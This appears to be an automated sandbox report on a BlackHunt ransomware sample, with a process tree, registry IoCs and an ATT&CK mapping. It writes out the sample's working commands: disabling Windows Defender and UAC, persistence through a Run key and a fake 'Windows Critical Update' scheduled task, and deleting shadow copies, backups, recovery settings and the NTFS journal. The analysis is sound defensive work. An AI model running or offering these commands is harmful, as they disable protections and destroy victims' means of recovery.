PID 1328 wrote to memory of 4872	1328	cmd.exe	139
PID 500 wrote to memory of 5088	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	140
PID 500 wrote to memory of 5088	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	140
PID 3976 wrote to memory of 4368	3976	cmd.exe	142
PID 3976 wrote to memory of 4368	3976	cmd.exe	142
PID 500 wrote to memory of 5064	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	144
PID 500 wrote to memory of 5064	500	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe	144

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe
"C:\Users\Admin\AppData\Local\Temp\eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:5044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:4056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1120
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:5088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:5064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1380
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1192
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3296
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe" /F
  2⤵
  PID:1200
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\eacddf1b511839679bed8e01e1b02ce55c489ee6fbf52f76d5ef8f7db40b2bef.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3672
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2156
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4764
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2712
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1096
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2396
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2400
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4528
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4216
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4240
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3556
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4832

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:116

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6436

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5840

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:6008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery